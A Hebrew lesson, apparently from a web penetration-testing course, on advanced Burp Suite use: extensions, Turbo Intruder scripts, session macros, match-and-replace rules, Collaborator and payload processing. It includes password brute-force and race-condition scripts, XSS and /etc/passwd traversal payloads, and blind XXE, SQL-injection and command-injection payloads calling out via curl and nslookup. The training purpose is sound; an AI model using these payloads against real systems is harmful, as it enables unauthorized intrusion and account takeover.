כלים מתקדמים ב-Burp Suite¶
מבוא¶
בקורס הבסיסי השתמשנו ב-Burp Suite בעיקר ככלי Proxy, Repeater, ו-Intruder בסיסי. בשיעור זה נכיר את היכולות המתקדמות של Burp Suite - תוספים חיוניים, כתיבת מאקרוים, סקריפטים מותאמים ב-Turbo Intruder, וטכניקות שימושיות שיהפכו אתכם ליעילים יותר בבדיקות.
תוספים חיוניים - Extensions¶
התקנת תוספים¶
# התקנת תוספים ב-Burp Suite:
# 1. עברו ל-Extensions > BApp Store
# 2. חפשו את התוסף הרצוי
# 3. לחצו Install
# חלק מהתוספים דורשים Jython - התקינו אותו מ:
# Extensions > Extensions Settings > Python Environment
# הגדירו את הנתיב ל-jython-standalone-X.X.X.jar
Autorize - בדיקת הרשאות¶
Autorize הוא תוסף שמאפשר לבדוק אוטומטית בעיות הרשאה. הוא מיירט בקשות של משתמש בעל הרשאות גבוהות וחוזר עליהן עם עוגיות של משתמש עם הרשאות נמוכות.
# הגדרת Autorize:
# 1. התקינו את התוסף מ-BApp Store
# 2. התחברו למערכת עם משתמש בעל הרשאות נמוכות
# 3. העתיקו את עוגיית הסשן שלו
# 4. בטאב Autorize, הדביקו את העוגייה בשדה "Cookie"
# 5. כעת התחברו עם משתמש Admin
# 6. גלשו באפליקציה - Autorize יחזור על כל בקשה עם שתי הזהויות
# 7. תוצאות בירוק = מוגן, אדום = פגיע (IDOR/Broken Access Control)
שימוש טיפוסי - בדיקת IDOR:
- גלשו לפרופיל של משתמש A כ-Admin
- Autorize יחזור על הבקשה עם עוגיית משתמש B
- אם התגובות זהות - יש בעיית הרשאה
Logger++ - לוגים מתקדמים¶
Logger++ מאפשר סינון וחיפוש מתקדם בכל התעבורה שעוברת דרך Burp.
# שימושים עיקריים של Logger++:
# - סינון לפי קוד תגובה, סוג תוכן, גודל תגובה
# - חיפוש ביטויים רגולריים בכל הבקשות/תגובות
# - ייצוא לוגים ל-CSV לניתוח חיצוני
# - זיהוי דפוסים חשודים בתעבורה
# דוגמאות לפילטרים שימושיים:
# Response.body CONTAINS "password"
# Response.body CONTAINS "api_key"
# Request.path CONTAINS "/admin"
# Response.status == 403
# Response.body CONTAINS "stack trace"
Turbo Intruder - פאזינג מהיר¶
Turbo Intruder הוא תחליף מהיר ל-Intruder המובנה, תומך בסקריפטי פייתון ויכול לשלוח אלפי בקשות בשנייה.
# סקריפט Turbo Intruder בסיסי - חיפוש ספריות
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=100,
pipeline=True
)
for word in open("/usr/share/wordlists/dirb/common.txt"):
engine.queue(target.req, word.strip())
def handleResponse(req, interesting):
if req.status != 404:
table.add(req)
# סקריפט Turbo Intruder - התקפת brute force עם פרמטרים מרובים
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=50,
pipeline=False
)
# קריאה מרשימת סיסמאות
for password in open("/usr/share/wordlists/rockyou-top1000.txt"):
engine.queue(target.req, password.strip())
def handleResponse(req, interesting):
# זיהוי תגובה שונה - אינדיקציה להצלחה
if req.status == 302 or "Welcome" in req.response:
table.add(req)
# סקריפט Turbo Intruder - בדיקת Race Condition
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
pipeline=False
)
# שליחת 30 בקשות במקביל - gate מבטיח שכולן יישלחו ביחד
for i in range(30):
engine.queue(target.req, gate="race1")
engine.openGate("race1")
def handleResponse(req, interesting):
table.add(req)
Param Miner - גילוי פרמטרים נסתרים¶
Param Miner מוצא פרמטרים נסתרים בבקשות HTTP - פרמטרים שלא מופיעים בממשק אך השרת מגיב אליהם.
# שימוש ב-Param Miner:
# 1. לחצו ימני על בקשה ב-Proxy/Repeater
# 2. Extensions > Param Miner > Guess params
# 3. בחרו את סוג הפרמטר:
# - URL parameters
# - Body parameters
# - Headers
# - Cookies
# 4. תוצאות יופיעו בטאב Issues / Extension Output
# פרמטרים נפוצים שהכלי מגלה:
# debug=true, admin=1, test=1, verbose=1
# x-forwarded-host, x-original-url, x-rewrite-url
Hackvertor - קידוד ופענוח¶
Hackvertor מאפשר קידוד ופענוח דינמי של מטענים ישירות בתוך בקשות Burp.
# שימוש ב-Hackvertor:
# הוסיפו תגיות קידוד סביב המטען ב-Repeater:
# קידוד URL:
<@urlencode>"><script>alert(1)</script><@/urlencode>
# קידוד Base64:
<@base64>admin:password<@/base64>
# קידוד HTML:
<@htmlencode><script>alert(1)</script><@/htmlencode>
# קידוד כפול:
<@urlencode><@urlencode>../../../etc/passwd<@/urlencode><@/urlencode>
# המרה ל-Unicode:
<@unicode_escapes>alert<@/unicode_escapes>
# שימושי במיוחד לעקיפת WAF ופילטרים
JSON Web Tokens - תוסף JWT¶
# תוסף JWT מאפשר:
# - צפייה ועריכה של טוקני JWT ישירות ב-Burp
# - שינוי claims
# - בדיקת algorithm confusion (RS256 -> HS256)
# - בדיקת None algorithm
# - חתימה עם מפתחות מותאמים
# הטוקן מפוענח אוטומטית בטאב ייעודי
# ניתן לערוך את ה-header וה-payload ולחתום מחדש
מאקרוים וטיפול בסשן - Session Handling¶
מה הם מאקרוים¶
מאקרוים ב-Burp Suite מאפשרים להגדיר רצף של בקשות שמבוצעות אוטומטית. זה חיוני כאשר:
- נדרש התחברות מחדש כשהסשן פג
- נדרש טוקן CSRF חדש לפני כל בקשה
- נדרשת סדרת פעולות לפני הבדיקה (למשל הוספת פריט לעגלה לפני בדיקת תשלום)
יצירת מאקרו להתחברות אוטומטית¶
# הגדרת מאקרו התחברות:
# 1. Settings > Sessions > Macros > Add
# 2. בחרו "Record macro" ובצעו את תהליך ההתחברות:
# - בקשת GET לדף ההתחברות (קבלת טוקן CSRF)
# - בקשת POST עם שם משתמש, סיסמה, וטוקן CSRF
# 3. שמרו את המאקרו
# הגדרת Session Handling Rule:
# 1. Settings > Sessions > Session handling rules > Add
# 2. Rule Actions > Add > Run a macro
# 3. בחרו את המאקרו שיצרתם
# 4. סמנו "Update current request with parameters from last macro response"
# 5. בטאב Scope, הגדירו באילו כלים להפעיל (Repeater, Intruder, Scanner)
מאקרו לחילוץ טוקן CSRF¶
# מאקרו שמחלץ טוקן CSRF לפני כל בקשה:
# 1. הקליטו מאקרו שמבצע GET לדף עם טופס
# 2. ב-Macro Editor, בחרו את התגובה
# 3. Configure item > Add custom parameter
# 4. הגדירו:
# - Parameter name: csrf_token
# - Start: name="csrf_token" value="
# - End: "
# 5. כעת ב-Session Handling Rule:
# - Run macro
# - Update current request with:
# - CSRF token from macro response
מאקרו מרובה שלבים¶
# דוגמה - מאקרו לתהליך רכישה (4 שלבים):
# שלב 1: GET /products - בחירת מוצר
# שלב 2: POST /cart/add - הוספה לעגלה
# שלב 3: GET /checkout - מעבר לתשלום (חילוץ order_id)
# שלב 4: POST /checkout/confirm - אישור (הבקשה שאנחנו רוצים לבדוק)
# ב-Macro Editor:
# - הוסיפו את כל 4 הבקשות בסדר
# - בשלב 3, הגדירו custom parameter extraction ל-order_id
# - שלב 4 ישתמש ב-order_id שחולץ
חוקי התאמה והחלפה - Match and Replace¶
חוקי Match and Replace מאפשרים שינוי אוטומטי של בקשות ותגובות שעוברות דרך Burp.
הגדרת חוקים¶
# Settings > Proxy > Match and Replace
# דוגמה 1 - הוספת כותרת לכל בקשה:
# Type: Request header
# Match: (leave empty)
# Replace: X-Forwarded-For: 127.0.0.1
# Comment: Add localhost forwarded header
# דוגמה 2 - שינוי User-Agent:
# Type: Request header
# Match: User-Agent:.*
# Replace: User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)
# Comment: Impersonate Googlebot
# דוגמה 3 - הסרת כותרות אבטחה מתגובות (לצפייה נוחה):
# Type: Response header
# Match: Content-Security-Policy:.*
# Replace: (leave empty)
# Comment: Remove CSP header
# דוגמה 4 - הסרת X-Frame-Options:
# Type: Response header
# Match: X-Frame-Options:.*
# Replace: (leave empty)
# Comment: Remove clickjacking protection
# דוגמה 5 - החלפת ערך עוגייה:
# Type: Request header
# Match: Cookie: session=([^;]+)
# Replace: Cookie: session=ATTACKER_SESSION_TOKEN
# Comment: Replace session cookie
חוקים מתקדמים לבדיקות ספציפיות¶
# שינוי Content-Type לבדיקת XXE:
# Type: Request header
# Match: Content-Type: application/json
# Replace: Content-Type: application/xml
# Comment: Switch to XML for XXE testing
# הוספת כותרת מותאמת לעקיפת הגבלות IP:
# Type: Request header
# Match: (leave empty)
# Replace: X-Original-URL: /admin
# Comment: URL override header
# שינוי ערך פרמטר בכל בקשה:
# Type: Request body
# Match: role=user
# Replace: role=admin
# Comment: Escalate role parameter
Burp Collaborator לעומק¶
מה זה Burp Collaborator¶
Burp Collaborator הוא שרת חיצוני שבבעלות PortSwigger, שמאפשר לזהות מתי שרת יעד יוצר אינטראקציה עם כתובת שלנו. זה חיוני לזיהוי חולשות blind ו-out-of-band.
סוגי אינטראקציות¶
# סוגי אינטראקציות ש-Collaborator מזהה:
# 1. HTTP/HTTPS - השרת ביצע בקשת HTTP לכתובת שלנו
# 2. DNS - השרת ביצע שאילתת DNS לדומיין שלנו
# 3. SMTP - השרת שלח מייל
# דוגמה - בדיקת Blind SSRF:
POST /api/webhook HTTP/1.1
Host: target.com
Content-Type: application/json
{"callback_url": "http://COLLABORATOR-ID.burpcollaborator.net/ssrf-test"}
# דוגמה - בדיקת Blind XXE:
POST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://COLLABORATOR-ID.burpcollaborator.net/xxe-test">
]>
<root>&xxe;</root>
# דוגמה - בדיקת Blind SQL Injection (Oracle):
# ' UNION SELECT EXTRACTVALUE(
# xmltype('<?xml version="1.0" encoding="UTF-8"?>
# <!DOCTYPE root [<!ENTITY % remote SYSTEM
# "http://COLLABORATOR-ID.burpcollaborator.net/">%remote;]>'),
# '/l') FROM dual--
# דוגמה - בדיקת OS Command Injection:
# ; nslookup COLLABORATOR-ID.burpcollaborator.net ;
# | curl http://COLLABORATOR-ID.burpcollaborator.net/cmd-test |
מטעני Intruder מותאמים - Custom Payloads¶
עיבוד מטענים - Payload Processing¶
# Intruder > Payloads > Payload Processing
# ניתן להוסיף שלבי עיבוד לכל מטען:
# 1. Hash > MD5
# שימוש: כשהשרת מצפה לסיסמה מגובבת
# 2. Encode > URL-encode
# שימוש: קידוד תווים מיוחדים
# 3. Encode > Base64-encode
# שימוש: כשהפרמטר מקודד ב-Base64
# 4. Add prefix: admin_
# שימוש: הוספת קידומת לכל מטען
# 5. Add suffix: @company.com
# שימוש: יצירת כתובות מייל
# 6. Match/Replace: מחליף טקסט במטען
# דוגמה לשרשור עיבודים:
# מטען מקורי: password123
# שלב 1 - MD5: 482c811da5d5b4bc6d497ffa98491e38
# שלב 2 - Base64: NDgyYzgxMWRhNWQ1YjRiYzZkNDk3ZmZhOTg0OTFlMzg=
# שלב 3 - URL encode: NDgyYzgxMWRhNWQ1YjRiYzZkNDk3ZmZhOTg0OTFlMzg%3D
סוגי מטענים מתקדמים¶
# Payload type: Recursive grep
# מאפשר לחלץ ערך מתגובה אחת ולהשתמש בו בבקשה הבאה
# שימוש: חילוץ טוקן CSRF מתגובה והשמה בבקשה הבאה
# Payload type: Extension-generated
# משתמש בתוסף Burp ליצירת מטענים
# שימוש: מטענים מורכבים שדורשים לוגיקה
# Payload type: Null payloads
# שליחת הבקשה כפי שהיא N פעמים
# שימוש: בדיקת Race Condition, בדיקת התנהגות תחת עומס
# Payload type: Character substitution
# החלפת תווים (a->@, s->$, וכו')
# שימוש: יצירת וריאציות של סיסמאות
שימוש עם פרוקסי עליון - Upstream Proxy¶
חיבור Burp דרך פרוקסי¶
# Settings > Network > Connections > Upstream Proxy Servers
# שימוש 1 - חיבור דרך Tor:
# Destination host: *
# Proxy host: 127.0.0.1
# Proxy port: 9050
# Proxy type: SOCKS5
# שימוש 2 - חיבור דרך VPN/Proxy ארגוני:
# Destination host: *
# Proxy host: proxy.company.com
# Proxy port: 8080
# Proxy type: HTTP
# Authentication: username/password
# שימוש 3 - שרשור Burp instances:
# Burp 1 (testing) -> Burp 2 (logging) -> Target
# ב-Burp 1:
# Upstream proxy: 127.0.0.1:8081 (הפרוקסי של Burp 2)
שימוש עם SOCKS Proxy¶
# הגדרת SOCKS proxy ב-Burp:
# Settings > Network > Connections > SOCKS proxy
# חיבור דרך SSH tunnel:
# 1. צרו tunnel:
ssh -D 1080 user@remote-server
# 2. ב-Burp, הגדירו SOCKS proxy:
# Host: 127.0.0.1
# Port: 1080
# Use SOCKS proxy: checked
# Do DNS lookups over SOCKS proxy: checked
טיפים וטריקים מתקדמים¶
חיפוש בתעבורה¶
# Proxy > HTTP History > Filter
# סינון לפי:
# - MIME type (HTML, JSON, XML)
# - Status code (4xx, 5xx)
# - Search term in request/response
# - Annotation (highlighted/commented items)
# - Listener port
# חיפוש מתקדם ב-Logger++:
# Response.body CONTAINS "error" AND Response.status == 500
# Request.method == "POST" AND Request.path CONTAINS "api"
# Response.headers CONTAINS "Set-Cookie"
הערות וצביעה¶
# טכניקת עבודה מומלצת - סימון בקשות מעניינות:
# - אדום: חולשה שנמצאה
# - כתום: דורש בדיקה נוספת
# - ירוק: נבדק ותקין
# - כחול: נקודת קצה מעניינת
# - סגול: בקשה עם הרשאות גבוהות
# לחיצה ימנית על בקשה > Highlight > בחרו צבע
# לחיצה ימנית > Add comment > הוסיפו הערה
קיצורי מקלדת חיוניים¶
# Ctrl+R - שלח בקשה ל-Repeater
# Ctrl+I - שלח בקשה ל-Intruder
# Ctrl+Shift+R - עבור ל-Repeater
# Ctrl+Shift+P - עבור ל-Proxy
# Ctrl+Space - שלח בקשה ב-Repeater / התחל התקפה ב-Intruder
# Ctrl+Z - ביטול ב-Repeater
# Ctrl+U - קידוד URL של טקסט נבחר
# Ctrl+Shift+U - פענוח URL של טקסט נבחר
# Ctrl+B - קידוד Base64 של טקסט נבחר
# Ctrl+Shift+B - פענוח Base64 של טקסט נבחר
סיכום¶
בשיעור זה למדנו על הכלים המתקדמים של Burp Suite:
- תוספים חיוניים - Autorize, Logger++, Turbo Intruder, Param Miner, Hackvertor, JWT
- מאקרוים - אוטומציה של תהליכי התחברות וחילוץ טוקנים
- חוקי Match and Replace - שינוי אוטומטי של בקשות ותגובות
- Burp Collaborator - זיהוי חולשות out-of-band
- מטעני Intruder - עיבוד והתאמת מטענים
- פרוקסי עליון - עבודה דרך SOCKS ושרשור פרוקסים
כלים אלו ישמשו אותנו לאורך כל הקורס. חשוב להכיר אותם היטב לפני שנמשיך לנושאים המתקדמים.